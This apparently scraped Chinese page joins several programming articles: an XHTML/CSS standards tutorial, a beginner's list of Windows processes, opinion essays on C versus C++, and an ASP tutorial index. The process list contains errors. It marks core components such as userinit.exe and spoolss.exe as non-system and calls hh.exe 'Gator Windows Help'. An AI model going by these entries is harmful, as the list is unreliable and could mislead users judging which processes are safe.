现代大型软件系统的开发中,工程化的开发控制取代个人英雄主义,成为软件系统成功的保证,一个编程高手并不一定是一个优秀的程序员,一个优秀的程序员是将出色的编程能力和开发技巧同严格的软件工程思想有机结合,编程只是软件生命周期中的其中一环,优秀的程序员应该掌握软件开发各个阶段的基本技能,如市场分析,可行性分析,需求分析,结构设计,详细设计,软件测试等。一句话可以概括我的看法:“创意无限,流程保证”。
第七种武器:强烈的好奇心
什么才是一个程序员的终极武器呢,那就是强烈的好奇心和学习精神。没有比强烈的好奇心和学习精神更好的武器了,它是程序员们永攀高峰的源泉和动力所在。
其實学好一种就够用了。 |
|
怎么改善现有网站
|
我们大部分的设计师依旧在采用传统的表格布局、表现与结构混杂在一起的方式来建立网站。学习使用XHTML+CSS的方法需要一个过程,使现有网站符合网站标准也不可能一步到位。最好的方法是循序渐进,分阶段来逐步达到完全符合网站标准的目标。如果你是新手,或者对代码不是很熟悉,也可以采用遵循标准的编辑工具,例如Dreamweaver MX 2004,它是目前支持CSS标准最完善的工具。
1.初级改善
为页面添加正确的DOCTYPE
很多设计师和开发者都不知道什么是DOCTYPE,DOCTYPE有什么用。DOCTYPE是document type的简写。主要用来说明你用的XHTML或者HTML是什么版本。浏览器根据你DOCTYPE定义的DTD(文档类型定义)来解释页面代码。所以,如果你不注意设置了错误的DOCTYPE,结果会让你大吃一惊。XHTML1.0提供了三种DOCTYPE可选择:
(1)过渡型(Transitional )<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
(2)严格型(Strict )<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
(3)框架型(Frameset )<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
对于我们初级改善来说,只要选用过渡型的声明就可以了。它依然可以兼容你的表格布局、表现标识等,不至于让你觉得变化太大,难以掌握。
Tip:你懒得输入上面过渡型代码的话,可以访问http://www.macromedia.com/网站的首页,然后查看源代码,把head区同样的代码拷贝粘贴就可以了。
设定一个名字空间(Namespace)
直接在DOCTYPE声明后面添加如下代码:<html XMLns="http://www.w3.org/1999/xhtml" >
一个namespace是收集元素类型和属性名字的一个详细的DTD,namespace声明允许你通过一个在线地址指向来识别你的namespace。只要照样输入代码就可以。
声明你的编码语言
为了被浏览器正确解释和通过标识校验,所有的XHTML文档都必须声明它们所使用的编码语言。代码如下:<meta http-equiv="Content-Type" content="text/html; charset=GB2312" />
这里声明的编码语言是简体中文GB2312,你如果需要制作繁体内容,可以定义为BIG5。
用小写字母书写所有的标签
XML对大小写是敏感的,所以,XHTML也是大小写有区别的。所有的XHTML元素和属性的名字都必须使用小写。否则你的文档将被W3C校验认为是无效的。例如下面的代码是不正确的:<TITLE>公司简介</TITLE>
正确的写法是:<title>公司简介</title> 同样的,<P>改成<p>,<B>改成<b>等等。这步转换很简单。
为图片添加 alt 属性
为所有图片添加alt属性。alt属性指定了当图片不能显示的时候就显示供替换文本,这样做对正常用户可有可无,但对纯文本浏览器和使用屏幕阅读机的用户来说是至关重要的。只有添加了alt属性,代码才会被W3C正确性校验通过。注意的是我们要添加有意义的alt属性,象下面这样的写法毫无意义:<img src="logo_unc_120x30.gif" alt="logo_unc_120x30.gif">
正确的写法:<img src="logo_unc_120x30.gif" alt="UNC公司标志,点击返回首页">
给所有属性值加引号
在HTML中,你可以不需要给属性值加引号,但是在XHTML中,它们必须被加引号。
例:height="100",而不能是height=100。
关闭所有的标签
在XHTML中,每一个打开的标签都必须关闭。就象这样:<p>每一个打开的标签都必须关闭。</p> <b>HTML可以接受不关闭的标,XHTML就不可以。</b>
这个规则可以避免HTML的混乱和麻烦。举例来说:如果你不关闭图像标签,在一些浏览器中就可能出现CSS显示问题。用这种方法能确保页面和你设计的一样显示。需要说明的是:空标签也要关闭,在标签尾部使用一个正斜杠"/"来关闭它们自己。例如:<br /> <img src="webstandards.gif" />
经过上述七个规则处理后,页面就基本符合XHTML1.0的要求。但我们还需要校验一下是否真的符合标准了。我们可以利用W3C提供免费校验服务(http://validator.w3.org/)。发现错误后逐个修改。在后面的资源列表中我们也提供了其他校验服务和对校验进行指导的网址,可以作为W3C校验的补充。当最后通过了XHTML验证,恭喜你已经向网站标准迈出了一大步。不是想象中的那么难吧!
2.中级改善
接下来我们的改善主要在结构和表现相分离上,这一步不象第一步那么容易实现,我们需要观念上的转变,以及对CSS2技术的学习和运用。但学习任何新知识都需要花点时间的,不是吗?诀窍在于边做边学。假如你一直采用表格布局,根本没用过 CSS,也不必急于跟表格布局说再见,你可以先用样式表代替 font 标签。随着你学到的越多,你能做的就越多。好,一起来看看我们需要做哪些事:
用CSS定义元素外观
我们在写标识时已经养成习惯,当希望字体大点就用<h1>,希望在前面加个点符号就用<li>。我们总是想< h1>的意思是大的,<li>的意思是圆点,<b>的意思是“加粗文本”。而实际上, <h1>能变成你想要的任何样子,通过CSS,<h1>能变成小的字体,<p>文本能够变成巨大的、粗体的, <li>能够变成一张图片等等。我们不能强迫用结构元素实现表现效果,我们应该使用CSS来确定那些元素的外观。例如,我们可以使原来默认的 6级标题可以看起来大小一样:h1, h2, h3, h4, h5, h6{ font-family: 宋体, serif; font-size: 12px; }
用结构化元素代替无意义的垃圾
许多人可能从来都不知道HTML和XHTML元素设计本意是用来表达结构的。我们很多人已经习惯用元素来控制表现,而不是结构。例如,一段列表内容可能会使用下面这样的标识:句子一<br /> 句子二<br /> 句子三<br />
如果我们采用一个无序列表代替会更好:<ul> <li>句子一</li> <li>句子二</li> <li>句子三</li> </ul>
你或许会说“但是<li>显示的是一个圆点,我不想用圆点”。事实上,CSS没有设定元素看起来是什么样子,你完全可以用CSS关掉圆点。
给每个表格和表单加上id
给表格或表单赋予一个唯一的、结构的标记,例如<table id="menu">
接下来,在书写样式表的时候,你就可以创建一个“menu”的选择器,并且关联一个CSS规则,用来告诉表格单元、文本标签和所有其他元素怎么去显示。这样,不需要对每个%lt;td>标签附带一些多余的、占用带宽的表现层的高、宽、对齐和背景颜色等等属性。只需要一个附着的标记(标记 “menu”的id标记),你就可以在一个分离的样式表内为干净的、紧凑的代码标记进行特别的表现层处理。
中级改善我们这里先列主要的三点,但其中包含的内容和知识点非常多,需要我们逐步学习和掌握,直到最后实现完全采用CSS而不才用任何表格实现布局。 |
|
电脑初学者必备之Windows进程大全
|
是否为系统进程: 否
frontpage.exe
进程文件: frontpage or frontpage.exe
进程名称: Microsoft FrontPage
描述: Microsoft FrontPage是一个HTML编辑器用于创建站点和其它类别的HTML文档。
是否为系统进程: 否 G——O
gmt.exe
进程文件: gmt or gmt.exe
进程名称: Gator Spyware Component
描述: Gator Spyware是一个广告插件,随Gator安装和启动。
是否为系统进程: 否
hh.exe
进程文件: hh or hh.exe
进程名称: Gator Windows Help
描述: Windows Help程序用以打开帮助文件和文档,包括在很多Windows程序中。
是否为系统进程: 否
hidserv.exe
进程文件: hidserv or hidserv.exe
进程名称: Microsoft Human Interface Device Audio Service
描述: 后台服务,用来支持USB音效部件和USB多媒体键盘。
是否为系统进程: 否
QQ.exe
进程文件: QQ or QQ.exe
进程名称: QQ
描述: QQ是一个在线聊天和即时通讯客户端。
是否为系统进程: 否
iexplore.exe
进程文件: iexplore or iexplore.exe
进程名称: Internet Explorer
描述: Microsoft Internet Explorer网络浏览器透过HTTP访问WWW万维网。
是否为系统进程: 否
kodakimage.exe
进程文件: kodakimage or kodakimage.exe
进程名称: Imaging
描述: Kodak Imaging是一个图片察看软件。包括在Windows,用以打开图像文件。
是否为系统进程: 否
loadqm.exe
进程文件: loadqm or loadqm.exe
进程名称: MSN Queue Manager Loader
描述: MSN Queue Manager Loader被随着MSN Explorer和MSN Messenger安装。他在一些时候会占用很多系统资源。
是否为系统进程: 否
loadwc.exe
进程文件: loadwc or loadwc.exe
进程名称: Load WebCheck
描述: Load WebCheck用以定制一些Internet Explorer的设定,添加、删除或者更新用户profiles设定。
是否为系统进程: 否
mad.exe
进程文件: mad or mad.exe
进程名称: System Attendant Service
描述: System Attendant Service是Microsoft Exchange Server的后台程序。它用以读取Microsoft Exchange的DLLs文件,写log信息和生成离线地址薄。
是否为系统进程: 否
mcshield.exe
进程文件: mcshield or mcshield.exe
进程名称: McAfee VirusScan
描述: McAfee VirusScan是一个反病毒软件用以扫描你的文件和email中的病毒。
是否为系统进程: 否
mgabg.exe
进程文件: mgabg or mgabg.exe
进程名称: Matrox BIOS Guard
描述: Matrox BIOS守护进程。
是否为系统进程: 否
mmc.exe
进程文件: mmmc or mmc.exe
进程名称: Microsoft Management Console
描述: Microsoft Management Console管理控制程序集成了很多的系统控制选项。例如设备管理(系统、硬件
)或者计算机权限控制(Administrative管理工具)。
是否为系统进程: 否
mobsync.exe
进程文件: mobsync or mobsync.exe
进程名称: Microsoft Synchronization Manager
描述: Internet Explorer的一个组成部分,用以在后台同步离线察看页面。
是否为系统进程: 否
mplayer.exe
进程文件: mplayer or mplayer.exe
进程名称: Windows Media Player
描述: Windows Media Player是一个用以打开音乐、声音和视频文件的软件。
是否为系统进程: 否
mplayer2.exe
进程文件: mplayer2 or mplayer2.exe
进程名称: Windows Media Player
描述: Windows Media Player是一个用以打开音乐、声音和视频文件的软件。
是否为系统进程: 否
msaccess.exe
进程文件: msaccess or msaccess.exe
进程名称: Microsoft Access
描述: Microsoft Access是一个数据库软件包括在Microsoft Office。
是否为系统进程: 否
msbb.exe
进程文件: msbb or msbb.exe
进程名称: MSBB Web3000 Spyware Application
描述: MSBB Web3000 Spyware是包括在一些adware产品中,利用注册表随Windows启动。
是否为系统进程: 否
msdtc.exe
进程文件: msdtc or msdtc.exe
进程名称: Distributed Transaction Coordinator
描述: Microsoft Distributed Transaction Coordinator控制多个服务器的传输,被安装在Microsoft Personal Web Server和Microsoft SQL Server。
是否为系统进程: 否
msiexec.exe
进程文件: msiexec or msiexec.exe
进程名称: Windows Installer Component
描述: Windows Installer的一部分。用来帮助Windows Installer package files (MSI)格式的安装文件。
是否为系统进程: 否
msimn.exe
进程文件: msimn or msimn.exe
进程名称: Microsoft Outlook Express
描述: Microsoft Outlook Express是一个Email和新闻组客户端包括在Microsoft Windows。
是否为系统进程: 否
msmsgs.exe
进程文件: msmsgs or msmsgs.exe
进程名称: MSN Messenger Traybar Process
描述: MSN Messenger是一个在线聊天和即时通讯客户端。
是否为系统进程: 否
msoobe.exe
进程文件: msoobe or msoobe.exe
进程名称: Windows Product Activation
描述: Windows XP License的Product Activation产品激活程序。
是否为系统进程: 否
mspaint.exe
进程文件: mspaint or mspaint.exe
进程名称: Microsoft Paint
描述: Microsoft Paint画图是一个图像编辑器包括在Microsoft Windows,它能够编辑bmp图像。
是否为系统进程: 否
mspmspsv.exe
进程文件: mspmspsv or mspmspsv.exe
进程名称: WMDM PMSP Service
描述: Windows Media Player 7需要安装的Helper Service。
是否为系统进程: 否
mysqld-nt.exe
进程文件: mysqld-nt or mysqld-nt.exe
进程名称: MySQL Daemon
描述: MySQL Daemon控制访问MySQL数据库。
是否为系统进程: 否
navapsvc.exe
进程文件: navapsvc or navapsvc.exe
进程名称: Norton AntiVirus Auto-Protect Service
描述: Norton Anti-Virus扫描你的文件和email中的病毒。
是否为系统进程: 否
navapw32.exe
进程文件: navapw32 or navapw32.exe
进程名称: Norton AntiVirus Agent
描述: Norton Anti-Virus扫描你的文件和email中的病毒。
是否为系统进程: 否
ndetect.exe
进程文件: ndetect or ndetect.exe
进程名称: ICQ Ndetect Agent
描述: ICQ Ndetect Agent是ICQ用来侦测网络连接的程序。
是否为系统进程: 否
netscape.exe
进程文件: netscape or netscape.exe
进程名称: Netscape
描述: Netscape网络浏览器通过HTTP浏览WWW万维网。
是否为系统进程: 否
notepad.exe
进程文件: notepad or notepad.exe
进程名称: Notepad
描述: Notepad字符编辑器用于打开文档。在Windows中附带。
是否为系统进程: 否
ntbackup.exe
进程文件: ntbackup or ntbackup.exe
进程名称: Windows Backup
描述: Windows备份工具用于备份文件和文件夹。
是否为系统进程: 否
ntvdm.exe
进程文件: ntvdm or ntvdm.exe
进程名称: Windows 16-bit Virtual Machine
描述: Windows Virtual Machine是为了兼容旧的16位Windows和DOS程序而设置的虚拟机。
是否为系统进程: 否
nvsvc32.exe
进程文件: nvsvc32 or nvsvc32.exe
进程名称: NVIDIA Driver Helper Service
描述: NVIDIA Driver Helper Service在NVIDA显卡驱动中被安装。
是否为系统进程: 否
nwiz.exe
进程文件: nwiz or nwiz.exe
进程名称: NVIDIA nView Control Panel
描述: NVIDIA nView控制面板在NVIDA显卡驱动中被安装,用于调整和设定。
是否为系统进程: 否
osa.exe
进程文件: osa or osa.exe
进程名称: Office Startup Assistant
描述: Microsoft Office启动助手,随Windows启动,增强启动、Office字体、命令和Outlook事务提醒等特性。
是否为系统进程: 否
outlook.exe
进程文件: outlook or outlook.exe
进程名称: Microsoft Outlook
描述: Microsoft Outlook是一个Email客户端包括在Microsoft Office。
是否为系统进程: 否
P——Z
photoshop.exe
进程文件: photoshop or photoshop.exe
进程名称: Adobe Photoshop
描述: Adobe Photoshop是一个图像编辑软件,能够打开和编辑照片和其它更多类型格式的图片。
是否为系统进程: 否
point32.exe
进程文件: point32 or point32.exe
进程名称: Microsoft Intellimouse Monitor
描述: Microsoft Intellimouse Monitor添加一个鼠标设定图标在工具栏。
是否为系统进程: 否
powerpnt.exe
进程文件: powerpnt or powerpnt.exe
进程名称: Microsoft PowerPoint
描述: Microsoft PowerPoint是一个演示软件包括在Microsoft Office。
是否为系统进程: 否
pstores.exe
进程文件: pstores or pstores.exe
进程名称: Protected Storage Service
描述: Microsoft Protected Storage服务控制保密的内容密码。
是否为系统进程: 否
qttask.exe
进程文件: qttask or qttask.exe
进程名称: Quick Time Tray Icon
描述: Quick Time任务栏图标在你运行Quick Time的时候启动。
是否为系统进程: 否
realplay.exe
进程文件: realplay or realplay.exe
进程名称: Real Player
描述: Real Player是一个媒体播放器用来打开和播放音乐、声音和Real Media格式的视频文件。
是否为系统进程: 否
rnaapp.exe
进程文件: rnaapp or rnaapp.exe
进程名称: Windows Modem Connection
描述: Windows Modem连接控制用以控制拨号modem连接。
是否为系统进程: 否
rtvscan.exe
进程文件: rtvscan or rtvscan.exe
进程名称: Norton AntiVirus
描述: Norton Anti-Virus用以扫描你的文件和email中的病毒。
是否为系统进程: 否
rundll32.exe
进程文件: rundll32 or rundll32.exe
进程名称: Windows RUNDLL32 Helper
描述: Windows Rundll32为了需要调用DLLs的程序。
是否为系统进程: 否
sndrec32.exe
进程文件: sndrec32 or sndrec32.exe
进程名称: Windows Sound Recorder
描述: Windows录音机用以播放和录制声音文件(.wav)。
是否为系统进程: 否
sndvol32.exe
进程文件: sndvol32 or sndvol32.exe
进程名称: Windows Volume Control
描述: Windows声音控制进程在任务栏驻留用以控制音量和声卡相关。
是否为系统进程: 否
spoolss.exe
进程文件: spoolss or spoolss.exe
进程名称: Printer Spooler Subsystem
描述: Windows打印机控制子程序用以调用需要打印的内容从磁盘到打印机。
是否为系统进程: 否
starter.exe
进程文件: starter or starter.exe
进程名称: Creative Labs Ensoniq Mixer Tray icon
描述: 状态栏图标在Creative Sound Mixer中被安装。为了Creative声卡 (Soundblaster)。
是否为系统进程: 否
systray.exe
进程文件: systray or systray.exe
进程名称: Windows Power Management
描述: Windows电源管理程序用以控制节能和恢复启动。
是否为系统进程: 否
tapisrv.exe
进程文件: tapisrv or tapisrv.exe
进程名称: TAPI Service
描述: Windows Telephony (TAPI) 的后台服务程序。
是否为系统进程: 否
userinit.exe
进程文件: userinit or userinit.exe
进程名称: UserInit Process
描述: UserInit程序运行登陆脚本,建立网络连接和启动Shell壳。
是否为系统进程: 否
visio.exe
进程文件: visio or visio.exe
进程名称: Microsoft Visio
描述: Microsoft Visio是一个图形化管理软件。
是否为系统进程: 否
vptray.exe
进程文件: vptray or vptray.exe
进程名称: Norton AntiVirus
描述: Norton Anti-Virus扫描你的文件和email中的病毒。
是否为系统进程: 否
vshwin32.exe
进程文件: vshwin32 or vshwin32.exe
进程名称: McAfee VirusScan
描述: McAfee VirusScan是一个反病毒软件用以扫描你的文件和email中的病毒。
是否为系统进程: 否
vsmon.exe
进程文件: vsmon or vsmon.exe
进程名称: True Vector Internet Monitor
描述: True Vector Internet Monitor是ZoneAlarm个人防火墙的一部分,用以监视网络流经数据和攻击。
是否为系统进程: 否
vsstat.exe
进程文件: vsstat or vsstat.exe
进程名称: McAfee VirusScan
描述: McAfee VirusScan是一个反病毒软件用以扫描你的文件和email中的病毒。
是否为系统进程: 否
wab.exe
进程文件: wab or wab.exe
进程名称: Address Book
描述: 在Outlook中的地址薄。用来存放email地址、联系信息。
是否为系统进程: 否
webscanx.exe
进程文件: webscanx or webscanx.exe
进程名称: McAfee VirusScan
描述: McAfee VirusScan是一个反病毒软件用以扫描你的文件和email中的病毒。
是否为系统进程: 否
winamp.exe
进程文件: winamp or winamp.exe
进程名称: WinAmp
描述: WinAmp Media Player是一个用来打开音乐、声音和视频文件以及用以管理Mp3文件的软件。
是否为系统进程: 否
winhlp32.exe
进程文件: winhlp32 or winhlp32.exe
进程名称: Windows Help
描述: Windows帮助文件察看程序,用来打开帮助文档。该程序被包括在很多的Windows程序中。
是否为系统进程: 否
winoa386.mod
进程文件: winoa386 or winoa386.mod
进程名称: MS-DOS Console
描述: Windows MS-DOS控制台用以DOS命令和脚本。
是否为系统进程: 否
winproj.exe
进程文件: winproj or winproj.exe
进程名称: Microsoft Project
描述: Microsoft Project是一个项目计划编制程序。
是否为系统进程: 否
winroute.exe
进程文件: winroute or winroute.exe
进程名称: WinRoute
描述: WinRoute是一个基于Windows的防火墙/路由/连接共享软件。
是否为系统进程: 否
winword.exe
进程文件: winword or winword.exe
进程名称: Microsoft Word
描述: Microsoft Word是一个字处理程序包括在Microsoft Office。
是否为系统进程: 否
winzip32.exe
进程文件: winzip32 or winzip32.exe
进程名称: WinZip
描述: WinZip是一个文件压缩工具,用于创建,打开和解压zip文件。
是否为系统进程: 否
wkcalrem.exe
进程文件: wkcalrem or wkcalrem.exe
进程名称: Microsoft Works Calendar Reminder
描述: Microsoft Works Calendar Reminders工作日程提醒,在后台处理和显示弹出计划的工作日志提醒。
是否为系统进程: 否
wkqkpick.exe
进程文件: wkqkpick or wkqkpick.exe
进程名称: WinZip traybar icon
描述: WinZip的状态栏图标,被允许在Winzip启动时启动。
是否为系统进程: 否
wmplayer.exe
进程文件: wmplayer or wmplayer.exe
进程名称: Windows Media Player
描述: Windows Media Player是一个用来打开和播放音乐,声音和视频的软件。
是否为系统进程: 否
wordpad.exe
进程文件: wordpad or wordpad.exe
进程名称: Wordpad
描述: Wordpad是一个字符编辑器用以打开和编辑txt和rtf档。
是否为系统进程: 否
wowexec.exe
进程文件: wowexec or wowexec.exe
进程名称: Windows On Windows Execution Process
描述: Windows On Windows Execution Support Process和ntvdm.exe作用类似,为了兼容16位应用程序。
是否为系统进程: 否
ypager.exe
进程文件: ypager or ypager.exe
进程名称: Yahoo Messenger Helper
描述: Yahoo Messenger的状态栏图标,随Yahoo Messenger运行,是其一部分。
是否为系统进程: 否 |
|
C与C++之区别
|
C是一个结构化语言,如谭老爷子所说:它的重点在于算法和数据结构。C程序的设计首要考虑的是如何通过一个过程,对输入(或环境条件)进行运算处理得到输出(或实现过程(事务)控制),而对于C++,首要考虑的是如何构造一个对象模型,让这个模型能够契合与之对应的问题域,这样就可以通过获取对象的状态信息得到输出或实现过程(事务)控制。 所以C与C++的最大区别在于它们的用于解决问题的思想方法不一样。之所以说C++比C更先进,是因为“ 设计这个概念已经被融入到C++之中 ”,而就语言本身而言,在C中更多的是算法的概念。那么是不是C就不重要了,错!算法是程序设计的基础,好的设计如果没有好的算法,一样不行。而且,“C加上好的设计”也能写出非常好的东西。 对语言本身而言,C是C++的子集,那么是什么样的一个子集?从上文可以看出, C实现了C++中过程化控制及其它相关功能,而在C++中的C(我称它为“C+”),相对于原来的C还有所加强,引入了重载、内联函数、异常处理等等玩艺儿,C++更是拓展了面向对象设计的内容,如类、继承、虚函数、模板和包容器类等等。 再提高一点,在C++中,数据封装、类型这些东东已不是什么新鲜事了,需要考虑的是诸如:对象粒度的选择、对象接口的设计和继承、组合与继承的使用等等问题。 所以相对于C,C++包含了更丰富的“设计”的概念,但C是C++的一个自洽子集,也具有强大的功能,同样值得学习。
几点学习建议: 1.基本概念很重要。无论学C,还是学C++,基本概念都是第一位的,也是比较困难的,但只有把握了基本概念才能把握整体脉络,才能居高临下。 2.C是C++的子集,它的基本概念和设计方法相对比较容易理解,初学者可从它入手。 3.如果要学好C++,建议初学者最好别在如VC,BCB平台下写程序,那种自动化的代码生成,花花绿绿的界面,会让你手足无措。最好先找一片空地(unix,dos),从头做起,写几个大点的程序,数个回合,再到VC,BCB下看看,你会轻松得很。在我看来,学好C/C++是成为VC,BCB高手的必由之路。 4.不要妄想速成,必须得一个byte,一个bit的去抠,尽量搞清楚每一个问题。 5.几本好书: 机械工业出版社的那套“计算机科学丛书”从C到C++,到面向对象设计,一应俱全,都TMD是经典中的经典,而且价格公道,童叟无欺。 国内也有几本好书,谭老爷子的书好倒是好,就是程序错误太多。强烈推荐清华周之英的《现代软件工程》(上、中、下),它是我所见到的国内少有的一本好书,精华的精华,要点的要点,细细品来,至少也属降龙十八掌等级的东东。
如果还是有人想学习C/C++的话, 有一些小问题我还是乐意解答的. 但是我认为学习C/C++是不重要的, 重要的是如何锻炼你的思路. 不要找一些连自己都搞不清的问题去做.
我认为虽然 "潭浩强" 同志有骗钱的嫌疑( 我手头就有一本几乎一模一样的英文书 ), 但是, 是他把这本入门手册引入中国, 使无数程序员了解了C语言, 我想他的功劳也是不可磨灭的. 在< C语言程序设计 >这本书中所有的例子都可以用做锻炼思路的基石, 他对大家的编程是很有帮助的. 我认为是值得一买的. 去思考课后的例子对你的编程很有帮助. 不要小看一个一个简单的例子, 他们是你通往成功的道路.
当你基本能够掌握了上一本书中例子后, 你就要自己找一些例子程序去看. 开始可能是看不懂, 但是只要努力就没有什么问题. 当你看过几个较大的例子之后, 你会茅塞顿开, ( 大量阅读例子程序是学习C/C++的捷径 ). 你会发现, 你的水平有了显著的提高. 你看的例子越多, 你对 Windows/DOS 了解的越多. 最好能够再看一些关于系统知识的书籍. 他会对你的编程很有帮助的.
这是我学习C/C++的一点心得, 希望对没有被我吓到而要继续学习C/C++的朋友们有一些帮助. 免得有些同志说我破坏中国软件人才的发展.
在最后我祝愿所有坚持学习C/C++的朋友们成功! 同时感谢阅读过我文章的同志们.
=========================
想学好C++,非学C不可!!!
今天我这么肯定的在这里讲这番话,是不想初学者陷入到语言越新越好的误区,本来这个题目就不是很严谨,但是我有几句话必须讲讲,为C平反!!
C++与C有什么不同呢?我们现在一步步地来分析一下 一、类,类我并不说它有什么不好,但是对于初学者,它是一个累赘。类的封装使得初学者对程序产生厌倦,感到不适和麻烦。 二、引用,引用是C++中最臭屁的东西了,最好尽量不要用它,我就是从来不用引用,除非万不得已。引用对于初学者就更容易产生混淆,不知道哪个是引用,哪个是变量。 三、函数的重载,初学者学函数的重载好像没什么坏处,但是,这会使初学者潜意识里对C语言的变量类型的重要性产生淡化,要记住C语言是对变量类型最敏感了的,变量的类型在C语言里的重要性是不言而喻的。 四、流操作符,和上面同样的道理,使得对变量类型的重要性产生淡化,况且,cin这个东东有点儿不怎么方便,有时会产生使初学者莫名其妙的结果。 五、操作符重载,典型的高级应用,初学者可能根本用不着,这个东东会让他们觉得C++很难,门槛高,看不懂…………。 六、继承,以及虚函数,典型的模仿四不象,这种狗屁东西除了看起来深奥,实用价值很低………………。我怎么可能把某个类的类型的指针去指向另一个不同类型但是是继承关系的类,来实现什么动态联编,晕………… ………………还有些东东我就不发表评论了,如:new,delete操作符等…………
七、误区:以问答形式: 问:C++是面向对象化的而C是面向过程化的? 答:第二对,第一问错,C++并非完全面向对象化,真正的面向对象化的语言恐怕只有Java才算得上。 问:C++能实现C所不能的功能吗? 答:至少我还没有发现…… 问:学了C再学C++有障碍吗?比如程序设计思想…… 答:至少我还没有看见谁有此症状。 问:学了C再学C++又要重头开始吗? 答:不,C++下可以实现C语言的一切功能。 问:我学完了C一定还要学C++才能编程吗? 答:完全没必要。 问:C++比C好在哪里? 答:更加符合软件工程学 问:学完了C再学C++是不是很容易? 答:那要看你是不是真正的学完了C语言,我从C到C++就一个星期的睡觉前的时间看两眼书,然后就大彻大悟。再跑到这里来发表些狗屁文章了。
最近在网上看到了很多人的学习方法,本人非常不赞同。很多人都想一口吃个胖子,要学就想学最新的,好象没有人愿意再去学那些老的,旧的编程语言了。但你们能学的懂吗?不学TC2。0等那些较早的优秀编程语言,你们能理解的了VC6。0?如果你真的能,我宁愿做你的徒弟!真是奇怪,那些最基本的语言都不懂的人,怎么可能去理解那些最新的编程语言?我学编程有三年了吧。成绩也不算多,只有一个计算机四级证和一个高程证,但我觉得我在学VC的时候还有很多的不明白的地方。没有人来教我,只能靠我自己,包括所有的成绩在内,我都是靠自己,我从不报班。学VC的半年多来,我想我已经基本入门,但依然有很多的困惑。刚开始学VC,就面临一个项目,我真的犹如笨蛋一般,四处吓摸,毫无头绪,最后勉勉强强才算做个差不多。学好VC再去学其他的高级WINDOWS编程,我想那真是轻而易举,毕竟WINDOWS的内部的很多东西都能直接被VC调用,你首先就可以对WINDOWS有个全新的认识,再去学其他的语言岂能不简单?
我的感觉是,面向过程和面向对象,其实都很重要的,在VC里也依然需要面向过程,很多东西都是一环扣一环,没有面向过程的思想,怎么可能去编程呢?建议多去看看有关WINDOWS编程的书,但多数都是比较老的书呦!我依然记得当年整天进行TC编程的辛苦,但我依然很怀念当年的劳动付出,毕竟我获得了我想获得的一切——编程思想。我觉得一个好的编程思想,绝对比你去学一门计算机语言好重要的多。要形成自己的编程风格。一个好的编程思想在你的头脑中一旦形成,学习什么语言都会很轻而易举,因为此时的你不在是简简单单的学习,而是来验证! |
|
ASP高手是怎样练成的?
|
开发特区最新改版后,将重点突出目前流行的技术和语言,既注重低端的入门类别教程,又兼顾实例讲解,源代码讲解等。在改版顺利完成后,将对以前的内容进行一次较为全面的总结和回顾,做出相关的专题回顾。
那么今天我们的开发专题是面向目前最流行的WEB开发语言ASP的。ASP其实是一套微软开发的服务器端脚本环境, ASP 内含于 IIS 3.0 和 4.0 之中 , 通过 ASP 我们可以结合 HTML 网页、 ASP 指令和 ActiveX 元件建立动态、交互且高效的 WEB 服务器应用程序。 我们希望通过本ASP专题,可以使您由浅到深,从理论到实例,从常见问题到相关技巧,彻彻底底,完完全全的了解ASP,在开发专区完成从菜鸟到高手的质的飞跃。
百丈高楼从地起,那么首先让我们对ASP有个初步的了解,看看我们的ASP入门教程:
ASP入门教程
第一篇 Are you ready
第二篇 ASP简介
第三篇 ASP基础
第四篇 ASP脚本基础
第五篇 脚本变量、函数、过程和条件语句
第六篇 ASP脚本循环语句
第七篇 ASP内建对象Request
第八篇 ASP内建对象Response
第九篇 ASP内建对象Application 和 Session
第十篇 Global.asa文件的使用及Chat程序
第十一篇 ASP内建对象Server
第十二篇 数据库查询语言(1)
第十三篇 数据库查询语言(2)
第十四篇 ActiveX 组件
第十五篇 常用的 ASP ActiveX 组件
第十六篇 其它的ASP常用组件
第十七篇 ADO 存取数据库时如何分页显示
第十八篇 堵住ASP漏洞
第十九篇 最新的ASP、IIS安全漏洞
数据库初级操作
一、ASP的对象存取数据库方法
二、连接数据库和打开数据表
三、程序清单
四、实例(存取Excel数据表)
OK,学完以上内容,你对ASP有了一个初步的了解了么?什么?那些都太浅显了,一看就会?没问题没问题,下面我们为大家介绍的是ASP.NET,即我们常说的ASP+,当你有了一定的ASP网络编程经验后,看看这个非常有用。
亲密接触ASP.NET
第一篇 ASP+的配制环境
第二篇 ASP+的语法
第三篇 ASP+中的控件
第四篇 WEB控件
第五篇 DataBind数据核心
第六篇 Namespace(命名空间)的使用
第七篇 数据库的应用
第八篇 DataSet
第九篇 在一个DataSet中储存多个数据表
第十篇 增加修改删除数据
第十一篇 如何分页
第十二篇 DataGrid的分页(2)
第十三篇 实现个性化分页
第十四篇 个性化分页(2)
第十五篇 状态保存
第十六篇 Cookie 怎么样,在学习的过程中有没有遇到疑问呢?没关系,我们就为大家总结了一些常见的问题和相关的编程技巧。
ASP设计常见问题
ASP设计常见问题及解答精要(1)
ASP设计常见问题及解答精要(2)
ASP设计常见问题及解答精要(3)
ASP设计常见问题及解答精要(4)
ASP编程技巧
ASP编程要点ABC(1)
ASP编程要点ABC(2)
ASP提速技巧五则
Urldecode 方法补遗
错误80004005信息处理方法
查看服务器Application/Session变量工具
ASP经典实例
用Asp.net实现基于XML的留言簿(1)
用Asp.net实现基于XML的留言簿(2)
用Asp.net实现基于XML的留言簿(3)
用Asp.net实现基于XML的留言簿(4)
用asp.net实现的把本文推荐给好友功能
用纯ASP代码实现图片上传并存入数据库中
>ASP中关于帖子分页显示的基本方法
一个显示原代码的asp程序
使用ASP生成HTML文件
史上最强的数据分页方法
防止新闻系统里产生垃圾图片的方法
ASP中的主页广告轮换大法
很好,如果你认真的完成了以上的学习的话,那么现在的你已经是一个准高手了。下面我们将进入ASP的高级应用阶段:
ASP高级应用
让ASP应用系统成为跨平台的系统(1)
让ASP应用系统成为跨平台的系统(2)
让ASP应用系统成为跨平台的系统(3)
让ASP应用系统成为跨平台的系统(4)
WAP中的ASP技术之一
WAP中的ASP技术之二
WAP中的ASP技术之三
WAP中的ASP技术之四
WAP中的ASP技术之五
